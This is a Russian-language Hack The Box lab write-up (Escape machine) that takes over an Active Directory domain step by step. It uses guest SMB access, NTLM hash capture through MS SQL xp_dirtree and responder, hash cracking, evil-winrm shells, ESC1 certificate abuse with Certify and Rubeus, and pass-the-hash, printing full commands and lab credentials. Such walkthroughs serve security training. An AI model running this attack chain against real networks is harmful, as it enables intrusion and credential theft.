Хакер - HTB Escape. Эксплуатируем типичные уязвимости Active Directory

Хакер - HTB Escape. Эксплуатируем типичные уязвимости Active Directory

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я на при­мерах покажу, как при­менять прос­тей­шие тех­ники для зах­вата домена: ано­ним­ный логин на SMB-ресур­се, эксфиль­тра­цию NTLM-хеша из MS SQL и повыше­ние при­виле­гий ESC1 через служ­бу сер­тифика­ции Active Directory.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.202 escape.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

В резуль­татах ска­ниро­вания видим мно­жес­тво откры­тых пор­тов, что типич­но для сер­веров Windows:

  • 53 — служ­ба DNS;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM;
  • 9389 — веб‑служ­бы AD DS.

RDP и LDAP рас­кры­вают нам имя домена и компь­юте­ра. Добавим их в /etc/hosts.

10.10.11.202 escape.htb sequel.htb dc.sequel.htb

ТОЧКА ВХОДА

Пер­вым делом про­буем авто­риза­цию от име­ни гос­тя на раз­ных служ­бах, начиная с SMB. Для тес­тирова­ния SMB луч­ше все­го исполь­зовать прог­рамму CrackMapExec, для которой уже успе­ли написать мно­жес­тво допол­нитель­ных модулей.

cme smb 10.10.11.202 -u 'guest' -p '' --shares

Об­щие ресур­сы SMB

Ка­талог Public — нес­тандар­тный, поэто­му нас инте­ресу­ет его содер­жимое. Для работы с SMB-ресур­сом будем исполь­зовать скрипт impacket-smbclient из набора скрип­тов impacket.

impacket-smbclient 'guest@10.10.11.202'

use Public

Со­дер­жимое обще­го ресур­са Public

Ре­сурс содер­жит документ PDF, который мож­но ска­чать такой коман­дой:

get SQL Server Procedures.pdf

Файл будет сох­ранен в текущем катало­ге. Прос­матри­ваем файл и находим учет­ные дан­ные для под­клю­чения к служ­бе MS SQL.

Со­дер­жимое ска­чан­ного PDF-докумен­та

ТОЧКА ОПОРЫ

В спис­ке откры­тых пор­тов отсутс­тву­ет порт 1433, на котором по умол­чанию работа­ет служ­ба MS SQL Server, но, нес­мотря на это, все рав­но поп­робу­ем под­клю­чить­ся к служ­бе с помощью скрип­та impacket-mssqlclient, тоже из impacket.

impacket-mssqlclient WORKGROUP/PublicUser:GuestUserCantWrite1@10.10.11.202

Под­клю­чить­ся к служ­бе уда­лось, поэто­му про­буем увес­ти хеш пароля поль­зовате­ля, от име­ни которо­го и работа­ет служ­ба. Запус­каем на локаль­ном хос­те ути­литу responder, которая поможет нам получить хеш.

sudo responder -I tun0 -v

А теперь обра­щаем­ся к ресур­су из SQL с помощью коман­ды xp_dirtree.

xp_dirtree '\\10.10.14.125\test'

Зап­рос на сер­вер из SQL
По­лучен­ный NetNTLMv2-хеш

По­луча­ем NetNTLMv2-хеш пароля поль­зовате­ля sql_svc. Этот тип хеша переби­рает­ся очень быс­тро. Бру­тить будем при помощи hashcat, ука­зав режим перебо­ра 5600.

hashcat -m 5600 -a 0 hashes.txt rockyou.txt

Ре­зуль­тат перебо­ра пароля

По­лучен­ный пароль про­веря­ем с помощью CrackMapExec. Про­буем авто­ризо­вать­ся для исполь­зования служ­бы WinRM.

cme winrm 10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie'

Про­вер­ка учет­ных дан­ных

А теперь под­клю­чаем­ся к служ­бе WinRM с помощью ути­литы evil-winrm.

evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

Сес­сия поль­зовате­ля sql_svc

ПРОДВИЖЕНИЕ

Те­перь нам необ­ходимо соб­рать информа­цию. Обыч­но я исполь­зую для это­го скрип­ты PEASS, и если в Linux аль­тер­натив им не сущес­тву­ет, то для Windows есть еще SharpUp и Seatbelt. Вто­рой помог най­ти сер­вер служ­бы сер­тифика­ции Active Directory (ADCS) — sequal-DC-CA.

.\Seatbelt.exe -group=system

Ин­форма­ция о сер­тифика­тах

Так­же на дис­ке C: находим каталог SQLServer, а в нем — логи служ­бы.

Со­дер­жимое катало­га SQLServer

В самом логе есть сооб­щения об ошиб­ке авто­риза­ции поль­зовате­ля Ryan.Cooper, а так­же поль­зовате­ля NuclearMosquito3. Вто­рое имя поль­зовате­ля похоже на вве­ден­ный по ошиб­ке пароль. Рас­простра­нен­ная ошиб­ка, которой мы смо­жем вос­поль­зовать­ся.

Со­дер­жимое фай­ла ERRORLOG.BAK

Про­верим, вхо­дит ли най­ден­ный поль­зователь в груп­пу Remote Management Users. Членс­тво в ней дает поль­зовате­лям пра­во авто­риза­ции на служ­бе WinRM.

net localgroup "Remote Management Users"

Чле­ны груп­пы Remote Management Users

Так мы можем залоги­нить­ся на WinRM, что дает нам инте­рак­тивную сес­сию поль­зовате­ля.

evil-winrm -i 10.10.11.202 -u 'Ryan.Cooper' -p 'NuclearMosquito3'

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь вер­немся к служ­бе сер­тифика­ции Active Directory, которая час­то может помочь зах­ватить целый домен. В основном спо­собы экс­плу­ата­ции ADCS завяза­ны на неп­равиль­но скон­фигури­рован­ные шаб­лоны сер­тифика­тов, а так­же на пра­ва дос­тупа к этим шаб­лонам и самой служ­бе.

По­лучить информа­цию о служ­бе сер­тифика­ции поз­воля­ет прог­рамма Certify. Запус­каем ее с коман­дой find.

.\Certify.exe find /vulnerable

Ин­форма­ция о служ­бе ADCS и уяз­вимый шаб­лон сер­тифика­та

Certify наш­ла «уяз­вимый шаб­лон сер­тифика­та» и ока­залась пра­ва. Каж­дая тех­ника име­ет свою мар­киров­ку, и в дан­ном слу­чае мы можем исполь­зовать тех­нику ESC1. Это­му спо­собс­тву­ет выпол­нение сле­дующих тре­бова­ний:

  1. У шаб­лона сер­тифика­та в свой­стве msPKI-Certificate-Name-Flag уста­нов­лен флаг ENROLLEE_SUPPLIES_SUBJECT, в резуль­тате чего зап­рашива­ющий может сам уста­новить атри­бут SAN (subjectAltName).
  2. Сер­тификат мож­но исполь­зовать для аутен­тифика­ции кли­ента (client authentication).
  3. Те­кущий поль­зователь име­ет пра­ва для регис­тра­ции сер­тифика­та без утвер­жде­ния менед­жера ADCS.

Та­ким обра­зом, эта тех­ника осно­вана на воз­можнос­ти изме­нения SAN сер­тифика­та и поз­воля­ет выпус­тить сер­тификат для любого поль­зовате­ля домена, вклю­чая адми­нис­тра­тора домена! Это тоже мож­но сде­лать с помощью Certify.

.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator

Вы­пуск сер­тифика­та для поль­зовате­ля Administrator

И мы получа­ем сер­тификат и при­ват­ный ключ, который мож­но исполь­зовать для аутен­тифика­ции поль­зовате­ля в домене. Но сна­чала нуж­но перевес­ти сер­тификат из фор­мата PEM в фор­мат PFX.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

А теперь с помощью еще одно­го незаме­нимо­го инс­тру­мен­та — Rubeus — про­ведем ата­ку pass the cert для аутен­тифика­ции в домене и получе­ния тикета поль­зовате­ля Administrator. Затем выпол­ним ата­ку UnPAC the hash, что­бы получить тикет поль­зовате­ля и NTLM-хеш его пароля. Rubeus поз­воля­ет сде­лать все это одной коман­дой.

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:123 /getcredentials

Вы­пол­нение атак pass the cert и UnPAC the hash

А теперь с помощью pass the hash под­клю­чаем­ся к служ­бе WinRM и забира­ем флаг рута.

evil-winrm -i 10.10.11.202 -u 'Administrator' -H 'A52F78E4C751E5F5E17E1E9F3E58F4EE'

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page